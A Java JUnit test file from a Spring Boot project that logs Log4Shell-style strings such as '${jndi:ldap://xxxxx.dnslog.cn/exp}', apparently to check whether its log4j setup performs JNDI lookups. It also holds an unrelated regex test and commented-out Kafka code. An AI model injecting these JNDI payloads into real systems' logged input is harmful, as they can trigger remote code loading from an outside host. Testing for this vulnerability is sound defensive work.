Test.java
1.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.tianbo.analysis.NmmsAdminApplication;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.junit.runner.RunWith;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
//@RunWith(SpringRunner.class)
@SpringBootTest(classes = NmmsAdminApplication.class)
public class Test {
private static Logger logger = LogManager.getLogger(Test.class);
@org.junit.jupiter.api.Test
public void send(){
String s = "/${java:os}";
logger.error("username: {}",s);
logger.error("/${jndi:ldap://xxxxx.dnslog.cn/exp}");
logger.error("${jndi:ldap://xxxxx.dnslog.cn/exp}");
logger.error("/${}","jndi:ldap://xxxxx.dnslog.cn/exp");
logger.error("${}","jndi:ldap://xxxxx.dnslog.cn/exp");
String keyword = "(/[TEFXL]{2}/.{1,25})+";
// 创建 Pattern 对象
Pattern r = Pattern.compile(keyword);
// 现在创建 matcher 对象
Matcher m = r.matcher("/CN//TE/02120527366/FX/FFFFXXX1123211/TL/112121DSADSADDDDDDD");
if (m.find()){
logger.info("找到适配f");
logger.info(m.group(1));
logger.info(m.group(2));
}
if (m.matches()){
logger.info("找到适配m");
logger.info(m.group(1));
logger.info(m.group(2));
}
// MSGS msgs = new MSGS();
// MSG msg = new MSG();
//
// HEADER header = new HEADER();
// header.setSNDR("TXD");
// header.setDDTM("20210429103322081");
// header.setSEQNO(2021042910);
// header.setTYPE("HYXX");
// header.setSTYPE("ISLI");
//
// msg.setHEADER(header);
// msg.setBODY("111test");
//
//
//
//
// msgs.setMSG(msg);
//
// ResultJson response = kafkaSendApi.send(msgs);
// log.info(response.toString());
}
}